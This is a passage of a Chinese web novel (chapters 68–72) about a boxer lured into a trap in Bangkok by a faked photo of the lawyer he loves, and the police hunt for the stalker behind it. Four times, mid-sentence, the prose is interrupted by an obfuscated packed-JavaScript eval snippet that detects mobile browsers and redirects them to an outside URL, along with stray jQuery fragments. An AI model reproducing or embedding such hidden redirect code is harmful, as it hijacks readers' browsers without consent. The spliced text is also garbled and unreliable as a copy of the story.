南潘心下一横,手中的伸缩棍折短,对着余琛直刺过去。 余琛看出这次攻势的不同,这一刺,是来要他的命的。 余琛的眼里也出现几分罕见的狠戾。肾上腺素飙升,早就枯竭的身体又重新有了力气。余琛敏捷地闪开,利用臂长的优势抓住南潘的一侧肩膀,一拉一拧,南潘的肩膀错位了。 欢呼声此起彼伏,声浪一阵高过一阵。 余琛,最守规矩的拳王余琛,开始过线了。 台下一双双眼睛仿佛都闪着绿光,想要见证余琛的堕落时刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080935|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 余琛顾不上这些,他和南潘,必然有一个要倒下。想要出去,只有一个办法。 比赛撑到现在,早就是强弩之末,余琛完全是靠意志在坚持。他迅速做出决断,冒着被刺中的风险主动进攻。 南潘受伤后行动明显受限,把伸缩棍换到左手,想扳回这一局。余琛却先欺上身来,抓住他完好的一侧肩膀,如法炮制。 咔嚓一声,南潘的两边肩膀,都脱臼了。 无法再做出有效攻击。 南潘焦急地晃动着身体,想自己接上。有些习惯性脱臼的运动员,是可以自己挂上脱臼的地方的。可惜的是,他并不在此列。 他徒劳而无功的行为在裁判和观众眼里,更加印证了他再也无力和余琛抗衡。 裁判有些遗憾地宣布,余琛获胜。 同样遗憾的还有场下观众,他们本以为会有一个更精彩的结尾。 余琛撑着一口气回到了休息室。这次保安没拦着何广生。连衣服都没换,何广生一看见余琛立马扶着他离开了这个鬼地方。 余琛上了出租车之后就晕了过去。接连两场生死拳,对身体和精神都是极大的消耗。 何广生看着余琛满身的伤,心里急得不得了,直接带余琛去了医院。得赶紧处理一下伤口,再做个全面检查。 余琛昏迷中好像被人不停地翻动身体,心里记挂着林茜,口中喃喃。 “琛哥,你说什么?”何广生守在病床前问道。不幸中的万幸,琛哥只是力竭了,受的伤都是皮肉伤,养养就好了。观察一晚明天就能走。 “林茜……”余琛迷蒙中还在叫着。 这次何广生听清了,想起余琛赛前的嘱托,赶紧给林茜打电话,却听到“你所拨打的电话已关机。” 看看时间,已经11点了。或许林律师睡了吧。 何广生发了一条微信:“林律师,老大让我告诉你,小心雷劲,就是拳馆的一个教练。”发完不放心,又发了一条同样内容的短信,这样明天早上她就能看到了吧。 何广生放心地收起手机,趴在余琛床前睡去。 第二天一早,余琛被阳光照醒,精力已经恢复很多。看着趴在床边的阿生,心里有几分柔软。 何广生本就睡得不踏实,听到动静睁开眼,正对上余琛的眼睛,高兴道:“老大你醒啦!” “嗯。”余琛温和地说:“你的伤怎么样?处理过了吗?” “我啊,没事!”何广生大大咧咧道。昨天给余琛检查的时候,护士已经帮他处理过了,他伤得比余琛还要轻一些。 余琛记挂林茜,又问:“林茜那边有回信了吗?” “哦,昨晚给林律师打电话,她的手机关机了。我给她发了微信和短信,今天应该能看到吧。”何广生说道。 “关机了?”余琛心里不安起来,林茜从不关机。 “对啊。” 余琛又拿出自己的手机,看到林茜发来的那条信息,是昨天中午11点。打过去电话,还是关机。 心中的不安越来越严重。 就在这时,手机震动,余琛收到一条彩信。 点开之后,余琛全身的血液仿佛都冻结了。 69. 第 69 章 彩信的内容是一张照片。 一个趴在床上的女人。头发凌乱,挡住了侧脸。那件熟悉的黑色羊绒大衣披在她身上,只露出裸露的肩膀。 画面中的光线昏暗,右上角是床头柜,一个背面朝上的手机,图案和林茜的手机壳一样。画面边缘还倒放着半张林茜名字的身份证和一本半开的律师证,里面露出林茜稍显稚嫩的脸,那是五年前她刚拿到律师证时拍的照片。 画面的左侧还露出一截黑色的提手,看起来很像林茜常背的名牌包包。 所有的东西都是林茜的。那这个女人? 余琛的心跳都要停止了。 林茜一定出事了。 余琛立刻再打给林茜,依然是关机状态。余琛瞬间意识到,手机就在这张照片里,已经落到别人手中了。 余琛再次点开彩信,发现下面还有一行小字。 “8点,帕那空港,一个人来。” 还有1个小时。从这里到帕那空港,就要将近一个小时。 没有时间了。 何广生见余琛脸色难看,不知道出了什么事,试探着问:“老大,怎么了?” “联系不到林茜,你现在打给何律师,问问情况。”余琛说道。 何广生立刻照办,余琛则打给了姚佳莉。 周六早上7点,两边的电话都很久才接通,两个女孩都是一头雾水。 姚佳莉有几天没和林茜联系了,不知道出了什么事。 何婧则表示昨天还来上班来着,下班后就没联系了。她担心何广生一大早打来是有什么工作上的急事,挂了电话也给林茜打了一个,依然是关机。 两个人,一个是林茜最好的朋友,一个是她日常接触最多的人,都没有她的音信。 那就是昨晚出的事,余琛在心里复盘。 病房里很安静,余琛好像能听到自己的心跳。 他和林茜同时出事,一定是提前安排好的。 那张照片不断地闪现在脑子里。余琛这辈子,从来没这么怕过。 他瞬间做出了决定。明知这是个陷阱,也一定要去。 “你打给康叔,告诉他雷劲有问题。叫他和嫣嫣小心一点。再让他去警察局报案,说林茜失踪了,所有人都联系不到她。”余琛吩咐何广生。 何广生立刻去打电话。 余琛则打给了昌叔,其实这个电话,该打给妈妈的。 不知道这辈子还有没有机会再听到妈妈的声音,可是此刻他不敢。他怕一听到妈妈的声音,就犹豫了。 昌叔很快接通:“阿琛,什么事?” “辣蛇埋在北京的人,动手了。现在林茜在他手里,昌叔,拜托你一定要救她。”余琛郑重地说道。 “阿琛,到底怎么回事?是谁?”昌叔在那边问。 “是一个叫雷劲的人,在泰国呆过几年,几个月前去我的拳馆应聘做了教练。他把我骗到泰国打地下拳赛。应该是昨晚,他对林茜动手了。” “你那边怎么样?”昌叔很关心余琛。他直觉余琛的状态不对,以余琛对林茜的关心程度,不应该只是托付给他才对。 “我没事。”余琛只回了这三个字。 “阿琛……”昌叔还想再问什么,被余琛打断:“昌叔,照顾好我妈。”然后挂断了电话。 何广生那边还没说完,但他本能地被余琛这句话吸引了注意力,匆匆和康叔交代之后挂了电话,何广生过来问道:“老大,你打算怎么办?” 昌叔的电话又打来,余琛拉黑了他,之后跟何广生说道:“你去帕那空区的警局报案,争取在8点半赶到帕那空港口。” “那你呢老大?”何广生紧紧盯着余琛,有种不祥的预感。 “林茜出事了,我要去看看。”余琛说着已经起身。 “可是林律师不是在北京吗?”何广生问道,拦住余琛:“琛哥,我跟你一起去。” “那边不知道什么情况。万一我们两个都栽了就没人来救我们了,你去警局报案,还能有胜算。”余琛冷静说道。 “可是……”何广生着急道,理智上他知道余琛说的有道理,可心里实在不愿意余琛去冒险:“琛哥,我去吧,我能抗半小时,你去警局!” “没用的,对方的目标是我。这条信息是泰国境内发出的,我猜林茜还在北京,雷劲在这另有帮手。如果能制住他的帮手,说不定可以反过来要挟他。万一我做不到,至少还有你做后手,我能不能回来,就看你了。”余琛拍着何广生的肩膀,郑重说道。 何广生知道这已经是最好的安排,瞬间感觉肩上的担子有千钧重,他的嘴抿成一条直线,郑重地点了点头。 两人一起出门,分头行事。 8小时前。 林茜靠在沙发上睡了过去,双手交叉抱着两臂,眉头依然皱着,睡得并不安稳。 关昊知道人骤然遭遇袭击后都会有一段时间的应激状态,伸出手去轻轻抚着她的眉间,却摸到她额头滚烫。 糟了,林茜发烧了。 关昊叫了几声“茜茜”,林茜晃了晃头,没有清醒。关昊不再吵她,直接打横抱起她,把她放到主卧的床上。 林茜骤然失重,有些不安地扭了扭。 “别动。”关昊小声喝止着怀里的人,抱得更紧了些。 关昊常年在室内只穿件体恤,林茜的体温透过薄薄的衣料传递到身上,关昊起了几分异样的感觉。 敲门声响起,他帮林茜盖好被子去开门。林茜零零散散买了一堆东西,关昊接过来一大包,放在玄关处,一回头吓了一跳。 林茜靠在主卧的门框上,目光有些迷离。 “是不是我买的东西到了?”林茜问。 “是,我看你睡着了,没叫你。”关昊回道。 “哦,我可以去洗澡了。”林茜有洁癖,不喜欢穿着外面的衣服躺到床上,现在睡衣到了,终于可以去洗澡了。迷迷糊糊中,她现在只记得这一件大事。 林茜走到玄关处,开始解配送的袋子。可东西太重,活扣被坠得很紧,手指又不太听使唤,扒拉来扒拉去也没解开。关昊在一旁看不过去,也伸出手来帮忙。 天干物燥,两个人的手不小心碰到一起,静电来得不合时宜。 林茜的头昏昏沉沉的,只感觉冷不丁被刺了一下,说道:“关昊,有什么东西扎我。” 关昊的心却重重地跳了起来,这样迷糊的林茜,莫名地可爱,让人心软,让人心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091441|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼,也让人有了欲望。 关昊勉强道:“静电,没事儿。你要找什么?我帮你拿。” 林茜也不费劲了,有些摇晃地从玄关抽屉里拿出一把剪刀,剪开了袋子,拿出里面的睡衣和洗漱用品,去浴室了。 关昊看着林茜走进浴室,里面传来淋浴的水声。他走到冰箱那里,拿出一瓶冰镇的水,坐在餐厅的椅子上慢慢喝完,依然听到自己心跳如雷。 “关昊,你可真不是个东西。”他在心里对自己说。 淅淅沥沥的水声像一种魔力的召唤。 连林茜自己都不知道,她这样脆弱而迷糊的时刻有多让人疯狂。想亲吻她的眉眼,想品尝她的津液,想把她按在怀里,想狠狠欺负她,让她哭,让她笑,让她和自己一起疯狂。 万幸的是,这引人犯罪的水声终于停了。没多久,林茜从浴室里出来,带着氤氲的水汽,柔和的灯光下连眼睛也蒙上一层水光。关昊不敢看她,侧过身对她说:“早点休息吧。” “哦。”林茜凭着身体记忆回到了主卧。关昊目光追随着她的背影,眼里像着了火。 她回了她们的房间……她是不是…… 几秒钟后,林茜又退了出来。 “不好意思,走错了。有布洛芬吗?我好像发烧了。”林茜的眼皮越来越沉重,有些费力地看向关昊。 “哦,我去拿!”关昊在心里直呼该死,刚刚就要去找药的,怎么忘了。 三两步跑到储物间,面对几排抽屉,关昊手忙脚乱地翻了起来。药箱在哪个抽屉来着? 林茜慢慢地挪到储物间,关昊果然不知道放在哪。 “我来吧。”林茜在身后说。 关昊的心又重重地跳了一下,退出了储物间。 他实在不敢和林茜共处在一个狭窄的空间里了,他不知道自己会做出什么事。 林茜慢慢地蹲到地上,拉开左边从下往上数第二个抽屉,里面是各种常见药品。林茜太累时会痛经,家里常备布洛芬,除了止痛也能退烧。找到熟悉的盒子后拿出来,林茜扶着柜子慢慢站了起来。 关昊伸出手想扶她,可伸到一半又停住了。 林茜拿着药转过身,没看到关昊收回的手:“找到了,我吃完就去睡了。你也早点休息吧。” “好,有事叫我。”关昊说道。 “嗯。” “茜茜!”林茜走了两步,关昊突然在背后叫她。 林茜有些迟滞地转过头,疑惑地看着关昊。 “我怕你后半夜再烧起来,我……我能不能在身边陪着你?”关昊问道。 林茜感觉自己的大脑不运转了,她竟然没听懂关昊在说什么。 “就是,你还睡主卧,你睡床上,我睡地上。万一你烧没退,我也能第一时间知道。” “不用。”林茜听明白了,一口回绝道。 “那我守在门口,你有事就叫我。”关昊说。 林茜没有回应,回到书房关上了门。 关昊则拖过一个单人沙发放在书房的门口,打算在这过夜。 他看着这扇门,身体的欲望慢慢消退,心里的爱意却愈加清晰:茜茜,我会好好地守着你,不会冒犯你。我们还有一辈子要过。 70. 第 70 章 林茜吃过药,沉沉睡去。 关昊在外面守着,也慢慢合上了眼。 余琛躺在曼谷的病床上,何广生趴在床边,都进入了梦乡。 有一个人还清醒着。 雷劲袭击未遂,在对面车辆的远光灯照在脸上的那一刻,迅速往路旁窜过去,躲在了高大的梧桐树后。 林茜还在拼命地向前跑,雷劲盯着她的背影,眯起眼睛,得再找机会了。 也不是全无收获,等车开过去后,雷劲又从黑暗中走出,一一收起林茜散落在地上的外套和包包,心里浮现出一个恶毒的计划。 等到晚上11点半,雷劲终于收到南潘的消息,输了。 余琛竟然躲过了两场生死拳,算他命大。雷劲并没有多失望,他的拇指慢慢碾磨着食指的关节,看向林茜的衣物。 余琛的运气不会一直这么好。 “知道他去哪了吗?”雷劲问道。 “一结束他就走了,身上有不少伤,应该去了医院。”南潘仍然坐在赛场的休息室里。他是这里的资深会员了,可以享受简单的医疗服务,此刻两边的肩膀都已经归位,心里却依然愤恨不平。 “如果我能让他一个人出来,你能解决掉他吗?”雷劲问道。 南潘盯着屏幕,眼底又兴奋起来:“当然。我知道一个好地方。” “要知道他的电话,还要算好时间。如果留给他的时间太久,等他发现了破绽,就不会上钩了。最好知道他在哪。”雷劲心思细密。 “包在我身上。”南潘嘴角露出一丝笑容。 猫有猫道,鼠有鼠道。南潘找自己的门路一打听,找到了余琛住的医院。 他迫不及待地告诉雷劲。 雷劲却说不急,等他消息。 南潘怕人跑了,只能自己也猫在医院的走廊里,就对着余琛的病房,方便观察他的动静。 医院里人来人往,南潘穿着外套垂头坐在座椅上,只时不时抬头看一眼。路过的人没人注意他,就算看到了,也只以为这是一个困倦的病人家属。 雷劲则拿出之前住宾馆时门下被塞的小卡片,看着上面花枝招展的女人,拨通了电话。 “喂?哪位?”娇媚的声音在那头响起。午夜时分,打来这个电话的人要干什么,不言而明。 雷劲的要求很简单,要一个黑色长直发的女人,要瘦。选了一家离自己住处稍远的小旅店,和对方约好了时间。 雷劲提前来到宾馆,已经是午夜两点。约定的时间还没到。雷劲问起余琛那边的情况。 “早就睡踏实了!旁边还趴了一个人,应该是他的小弟,正打呼噜呢!”南潘等的有些心焦。 “他醒了之后你告诉我,我会发给你一张照片。你发到他的手机上。算好从医院到你动手的地方要多久,然后告诉他时间地点。要一个人去。”雷劲一一交代着。 南潘表示没问题。这几年也赚了些钱,曼谷不大,医院附近就有他一个房子,里面还放了件好东西。 现在只等余琛醒了。 雷劲那头,女人按时到了。但雷劲并不猴急,而是让她脱了上衣趴到床上,自己则在后面窸窸窣窣地找着什么东西。 女人以为这是什么情趣,又等得有些无聊,想转过头和客户聊聊天。没想到刚一转过来,就听到雷劲低吼一声:“转回去!” 女人吓得连忙趴好,不敢再动。 没多久,一件柔软的外套盖在了身上,又往下抻了一点,露出肩膀。 欲擒故纵?喜欢玩这一套?女人心里想。 没想到他还是没有动作,又去床头柜不知摆弄什么。 他是不是不行?女人在心里犯嘀咕。不行有不行的法子,她们这行什么没见过。要是直说说不出口暗示也行啊,她还能介绍几款不错的产品呢。 女人就这么趴在床上胡思乱想,也看不到后面的人在干什么。只是稍一扭动,就被他严厉喝止,脖子都有些酸了。 不知过了多久,身上一凉。那件柔软又暖和的外套被收走了。女人以为终于要进入正题了,没想到雷劲往床上扔了几张钱,不再看她:“你走吧。” 女人简直莫名其妙,是对她不满意吗?不应该啊,来之前老板还说是按客户的口味才选了自己呢。 “大哥,那个……”女人想问问怎么回事。 “走!”雷劲眉眼凶戾,转过头一瞪女人,女人立马噤声,麻利地拿钱走人。 雷劲在刚刚拍的照片中精挑细选,选了一张十分满意的,只等余琛上钩。 眼下自己在林茜面前还没有暴露,可余琛打过了地下拳赛,一定知道自己有问题了,要尽快解决掉他。 幸好林茜的手机在自己这里,雷劲一拿到就关了手机,拆掉SIM卡丢掉,防止被追踪。又把包里的小物件分别倒入街边不同的垃圾桶里。 现在还在手里的,除了手机,就只有一件羊绒大衣,一张身份证,一本律师证和一个名牌包。 等待的时间里,雷劲把律师证用水泡软后冲进了旅店的马桶里。收好其他东西,悄无声息地退了房。 凌晨5点,窗外是浓稠地化不开的黑色,正是黎明前的至暗时刻。雷劲行走在黑暗中,如鱼得水。身份证随手丢进了街边的下水道,名牌包划了几道后塞进了路上的垃圾桶。 南潘那边还没有消息,雷劲慢慢走着,手伸到黑色塑料袋里抚摸着林茜的羊绒大衣,质感真好,像女人的皮肤,温热而柔软。 雷劲的身体躁动起来。 想起刚刚拍的照片,要是这件衣服下的女人真是林茜就好了。 此刻的林茜刚刚在一场噩梦中惊醒,惊魂未定,又口干舌燥。 关昊听到屋里的动静也醒了过来,敲门道:“茜茜,怎么了?” 林茜听到关昊的声音,从梦中那双可怕的眼睛里暂时脱身出来,心里稍微踏实了点。 “我没事,做噩梦了。”林茜喊道,声音却有些哑了,一句话说得支离破碎。 关昊在外面听不清楚,心里又着急,一边说话一边拧动门把手:“茜茜,我进来了。” 小区里的路灯透过窗帘,照出林茜的轮廓。此刻她正坐在床上。 不知为什么,关昊感觉她很惊慌。 “怎么了茜茜?”关昊来到林茜身边。 “我做噩梦了。”林茜嗓子哑了,只能很小声说话。 如果说那个迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099845|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊的林茜让关昊心动,此刻这个脆弱的林茜则让关昊心疼。 林茜双手撑在床边,还微微喘着气。关昊的手覆上去,温柔说道:“别怕,我在。” 林茜却把手抽回去了,吞咽了一下:“我渴了。” “我去拿水!”关昊说着快步走了出去。 林茜心里有点迟疑,关昊对她会不会太好了?自己是不是不该来这?阿琛那边也不知怎么样了。 脑袋里胡思乱想,关昊已经端着一杯水进来了:“有点热,你小口喝。” 林茜接过杯子,却没有立刻喝:“明天一早我就去买手机,再补一张电话卡。” 这种和所有人失联的感觉太糟糕了,像溺水。林茜慌乱中想抓住一根浮木,却也知道关昊不是合适的人选。 关昊有些担心:“你的身体可以吗?要不多休息一天,明天再出门?” 林茜摇摇头:“不能再等了。”一则客户那边不能失联;二则余琛昨晚的比赛不知道结果如何,心里有一块地方总也放心不下。 “那行,你现在好好睡觉,等睡醒了咱就去。”关昊说完扶住林茜的肩膀慢慢往后按。林茜顺势躺倒,抓紧了被子。 关昊探了探林茜的额头:“还好,不烧了,但也得多休息,不然容易反复。” “嗯。”林茜喉咙里发出一个声音。 “睡吧。”关昊帮林茜掖了掖被子,出去了。 这一觉直接睡到9点,醒来之后精神好了很多。关昊从外面买了早餐回来,两个人吃过饭,打算先去买手机。 出门前关昊还给昨天报案出警的公安局打了个电话,因为都是同行,昨天做笔录的警察和关昊互留了联系方式。 对方听清他的来意说道:“兄弟,你也是干这个的,查案子没这么快。你的心情我也能理解,老婆被人盯上,心里是没底,把嫂子看紧点吧,尽量别让她一个人行动。我们这边也尽力,好吧?” 关昊道谢之后挂断电话,和林茜转述了对方的话。 抓不到那人,就意味着类似的事随时可能再发生。林茜心里沉甸甸的。 关昊看出林茜的担忧,走到她面前认真地说:“你放心,我绝对不让你出事。” 出事的是余琛。 何广生磨破了嘴皮子也没能说动警察出警,毕竟现在看来,没有任何证据证明有危险发生。可时间一分一秒过去,多拖一刻余琛就多一分危机。何广生实在没办法,照着警察的脸就甩了一巴掌,然后夺门而出。 袭警,而且是现行犯。黝黑的泰国警察被激怒了,三五个警察带上警棍一起追了出去。 何广生个子不高,身法灵活,专挑小胡同钻,一路带着警察往帕那空港引。 警察在后面穷追不舍,势必要抓住这外国小子。 帕那空区不大,就在何广生即将被抓住的时候,终于看见了这个废弃已久的港口。 早上的港口空空荡荡,只有两个人站在码头边缘。其中一个背对着他们,正拿枪指着余琛。 何广生发足狂奔,搬到救兵了,老大有救了! 可下一秒,时间忽然变得无比漫长,何广生目眦欲裂。 他看到余琛中枪落水。 71. 第 71 章 一起追来的警察也看到这一幕,此刻他们终于相信有危险发生。 南潘看到来人后眉头一皱,也跳入水中。 其中一个警察认出了南潘,大喊一声他的名字,跟着跳下去追捕。其他人则围绕着岸边的水域找落水的余琛。 余琛很快被捞了上来,胸口一片洇开的血迹,面色惨白,嘴唇有些发抖。 “琛哥,你说什么?”何广生的声音也有些抖。 断断续续的几个字从余琛嘴里发出,何广生听不清,只能再贴近一点。 “林茜……别……告诉她……不……担心……” 何广生的眼泪流了出来:“都这个时候了,你还惦记林律师……” 余琛的手抓着他,何广生吸了吸鼻子说道:“琛哥,你放心,我不告诉林律师,不让她担心。昌叔那边我也会联系,保证林律师平安无事。” 余琛终于放下心来,手上的力气松懈下来,感到无边无际的寒冷。 “琛哥!琛哥!!”何广生在旁边大声叫着。 可这声音在余琛耳朵里却越来越小,连身上的痛感也减轻了。他置身在一片朦胧的白光中,轻盈无比,好像另一个世界正在接引他。 另一头,雷劲也出了些状况。 按照他最近摸到的规律,康嫣然每周六都会和一个女孩见面,逛街喝咖啡买东西。 而每个礼拜的这天她出门,身边不会跟着那个老东西。 可今天有些反常。雷劲早上趁去公园晨练的人打开大门的那刻混进康嫣然住的小区,熟门熟路地走到地下车库,康老头的车还在。 在外面久了也有些冷,车库还算暖和,雷劲找到一个监控死角,又摸出一个干巴的面包,坐在地上嚼了起来。 7点半,看到了康老头和康嫣然的身影。 今天出门这么早?以往都是临近中午才出门,康老头把她送到附近的地铁站。 雷劲走近路提前到了小区的大门外,看到康老头的车驶了出来,却不是地铁站的方向。 雷劲眯起眼睛,不对劲。 他暂时放弃了对康嫣然动手的计划,打车回到自己的住处,迅速收拾出一件行李,离开了这里。 康叔带着康嫣然到警局报案,说林茜失踪了。 警务人员问起康伯和林茜的关系,康叔一时哑口,顿了顿说:“是我女儿的朋友,她们在同一家拳馆练拳。从昨天起,就联系不到林小姐了。她的手机关机。” 接待康叔的小姑娘有些无奈,失踪报案通常都是直系亲属携带本人的身份证和失踪者的关系文件来报案。普通朋友,关系远了些。 可康叔表现得十分焦急,警务人员问清林茜的信息后还是给律所打电话核实了一下。 周末来加班的同事接到电话:“林律师啊,昨天还来上班呢。下午?下午也在。一天都在单位。” 警务人员看着康叔:“她同事说她昨天正常上班。” “那就是昨晚失踪的!”康伯说道。他记得阿生的嘱托,也知道林茜对余琛的重要,既然拜托到他这里,自己一定要办好。 警务人员例行公事道:“成年人失踪要超过24小时才可以立案。除非你能证明对方正在遭受危险;或者她本人是无民事行为能力人或限制民事行为能力人,比如精神病人;又或者发生了什么事故导致她失踪。你现在有证据证明她属于这三种情况吗?” 康叔哑口。 警局不肯立案,康叔也没办法了。 这边虽然陷入停滞,昌叔那边却迅速行动了起来。霞姐看着老公大周末的也不休息,送他出门前顺口问是不是接了新的案子。 余琛打来电话的时候,霞姐正在厨房做早餐。昌叔现在还摸不清状况,没提余琛的事,只说之前查的一个案子,有进展了。 余琛那边有了危险,之前的专案组又聚集起来。家明和佩玲去查雷劲的底细,冬瓜和光仔提审辣蛇。昌叔自己则联系了北京这边,提示林茜可能有危险。 科长接到上级电话的时候已经是下午了。没想到余琛的案子竟然还会有后续。更巧的是,兜来转去,都是熟人。 关昊正陪着林茜在营业厅办业务,林茜要重新办一张同号的SIM卡。手机铃声响起,关昊一看是科长。 “喂,科长。”关昊接通了电话。 “关昊啊,有个事要处理一下,香港那边来消息了,说余琛之前当线人的那个案子,还有条漏网之鱼,现在就在北京,可能会对你爱人有些影响。那边提醒我们留意一下林小姐的安全问题,我想这个事,就交给你,你看怎么样?”科长问道。 关昊离婚的事,科长虽然从小王那听说了。但关昊没声张,他也当做不知情。关昊要是有心把人追回来,也算送他一程。 “没问题科长!科长,林茜昨晚确实遇袭了,但没得手,那个人跑了。您还知道什么线索吗?”关昊问道。 “哦?已经动手了?只说这个人叫雷劲,是余琛拳馆的教练,你组织一下人手,准备调查吧。” “是,科长!”关昊站直身体,严肃回道。 关昊怕走开太远看不到林茜,就在她身边接了电话。林茜听到关昊刚说的内容,问道:“有线索了吗?” “香港那边来消息了,说袭击你的人是之前案子的漏网之鱼,叫雷劲,在余琛的拳馆当教练。” 雷劲?这个名字好像有几分耳熟,一时又对应不起具体的人。 林茜皱眉回忆着,关昊看着他:“别想了,既然知道了是谁,一定能抓住他。就是现在我不放心你,你跟我去警局,就在那等我,行不行?” “嗯。”林茜点头。她也想知道最新的进展。 林茜在车上摆弄着手机,正在恢复数据,能看到一部分微信的聊天记录。 老姚和何婧早上先后给她发了消息,说余琛和何广生在找她,但她的手机打不通。 再早一点,昨天夜里,何广生提醒他小心雷劲。 林茜的心提了起来。 刚刚知道线索时,心里还很高兴,以为是香港那边先查出来的。 可现在看来,余琛比她早一天知道。 是香港警察先联系了余琛,所以他知道的早,还是余琛先发现了什么情况,然后通知了香港警方? 如果是后者,余琛会不会也有事? 林茜仔细检查着信息,没有余琛的消息。 昨天中午明明告诉他比赛结束后报一声平安的,余琛如果看到了,绝不会忘。 到底出了什么事? 林茜心里突然害怕起来。 如果是从前,她会直接打电话过去,可是现在,她竟然胆怯了。 林茜点开聊天框,输入一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112132|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,发送了出去:“阿琛,你在吗?” 何广生正等在手术室外,忧心如焚。突然余琛的手机亮了,他知道余琛的锁屏密码,点开一看,竟然是林茜。 何广生记着余琛最后的嘱托,回了一个字:“在。” 林茜看到这个字,像看到救星:“昨天比赛怎么样?” “受了点伤,不严重。但是很累,还在休息。”对面回复。 原来是这样。林茜心里得到了一点安慰。可疑心还是没有完全消除,突然又问了句:“你生日刚好在下个月的第二个礼拜天,到时候我帮你庆祝好不好?” 何广生点开日历确认之后回道:“你记错了,我生日是下个月第二个礼拜六。” 林茜又放心了一点:“不好意思啊,你先休息,我不打扰你了。” 余琛没事就好,她也不想余琛问起她的情况。还有一场比赛,不要让他担心。 周六警局人不多,只有几个值班的同志。关昊一召集,之前的专案组人马又组织了起来,人差不多来齐了。目标也很明确,木西拳馆,雷劲。 各人带着任务分头出动。找到雷劲的住处时,已经人去楼空。可那一整面墙的照片还是让在场的人都吸了一口凉气。 关昊死死地盯住中间那张:一个趴在床上披着黑色大衣的女人。 像是挑衅一般,雷劲离开前把这张照片打印了出来,贴在了照片墙的正中央。 从这些照片的拍摄角度可以看出,都是偷拍。那中间那张是怎么来的? 难道林茜之前就出事了? 关昊心中炽火焚烧,还不得不冷静下来,组织人手仔细检查。 走访了中介和房东,又带着一堆物证回到警局,天已经黑了。 鉴于照片中还有康嫣然和姚佳莉,警方猜测这也是雷劲的目标人物,也通知她们来警局一趟。 康嫣然和康伯先到了,此时林茜正在另一个房间里辨认证物。 关昊小心地拿出一叠照片,摊开在林茜眼前,观察着她的表情。 林茜的注意力果然被那个披着大衣的女人吸引。 “这是我的衣服,但这个人不是我。”林茜边看边说道。 关昊的心踏实下来,虚惊一场,完全没意识到自己头上已经出了一层细汗。 林茜不知道关昊心里已经天人交战过几轮,歪着头仔细看着照片:“这张照片应该是新拍的。边缘的身份证、律师证就是我昨天丢的那些。还有床上的这个提手,是我丢的背包的带子。这件大衣也是我昨天穿的。” “所以,雷劲袭击未遂,利用这些东西,伪造出这个场景。”关昊推断着。 这么做有两种可能,一是误导别人照片里的人是林茜,就连他刚看到照片时心里也有这个猜测;另一个可能是,他想侵犯林茜未遂,把另一个女人当成了林茜。 那康嫣然和姚佳莉,有受到什么袭击吗?关昊的眉头皱了起来。 林茜心里也是同样的想法,但她只能看到自己的照片,不知道还有康嫣然和姚佳莉,所以她心里更倾向第一种猜测。 误导别人林茜落入了雷劲手中,谁受影响最大? 雷劲做这一切,是冲着谁来的? 一个名字呼之欲出。 林茜绞紧了双手。 下午和自己聊天的人,真的是余琛吗? 72. 第 72 章 关昊要问的已经问完了,接下来还有别的工作。 他低声安抚林茜:“这儿挺安静的,你在这坐一会吧,有事可以出来找我。” 林茜点点头:“好。” 李莉揣着笔录和关昊出去了,出门前看了林茜一眼。本来一直是小王和关昊搭档的,但今天这事关乎林茜的隐私,关昊觉得有个女同志在比较好,所以就叫了李莉来搭档。 外面康嫣然和康伯也做好了笔录。她们的情况很简单,没受到什么袭击,而且余琛今天早上就示警过了,父女俩一整天都很谨慎,康嫣然也取消了和罗骏驰的约会。 康叔把上午去其他区警局报案的事也一并说了。 “余琛让你说林茜失踪了?”关昊过来的时候正好听到失踪报案这一段。 “是的。阿生是这么和我说的,是余琛的意思。”康叔如实答道。 也就是说,余琛已经知道林茜遇袭的事了,但因为联系不到她,所以报了失踪?消息这么灵敏?他还知道多少? “余琛现在在哪?”关昊问道。 “他去泰国打比赛了。阿生和他一起去的。”康伯说。 “还有什么其他的情况吗?”小王在这边做笔录,接着问道。 “没有了。” 康叔领着康嫣然回去了。 